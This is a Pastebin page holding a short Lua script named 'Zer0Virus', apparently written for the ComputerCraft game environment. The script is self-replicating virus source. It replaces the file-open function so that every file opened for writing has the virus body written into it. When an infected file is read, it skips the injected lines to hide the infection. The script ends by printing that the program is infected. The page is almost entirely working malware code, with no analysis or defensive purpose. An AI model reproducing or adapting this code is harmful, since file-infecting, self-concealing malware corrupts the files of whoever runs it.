Advertisement
kremnev8

Virus

Jan 25th, 2015
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.65 KB | None | 0 0
  1. -- Zer0Virus
  2. local body=[[
  3. local nativeopen=fs.open
  4. local VirBody=...
  5. fs.open=function(path, mode)
  6.   local file=nativeopen(path, mode)
  7.   if file then
  8.     if mode=='r' then
  9.       if file.readLine()=='-- Zer0Virus' then for i=1,19 do file.readLine() end
  10.       else file=nativeopen(path, mode) end
  11.     elseif mode=='w' then
  12.       file.writeLine('-- Zer0Virus')
  13.       file.writeLine('local body='..string.char(91,91))
  14.       file.write(VirBody)
  15.       file.writeLine(string.char(93,93).." loadstring(body,'Zer0Virus')(body)")
  16.       file.flush()
  17.     end
  18.   end
  19.   return file
  20. end]] loadstring(body,'Zer0Virus')(body)
  21. print('This program is infected!')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement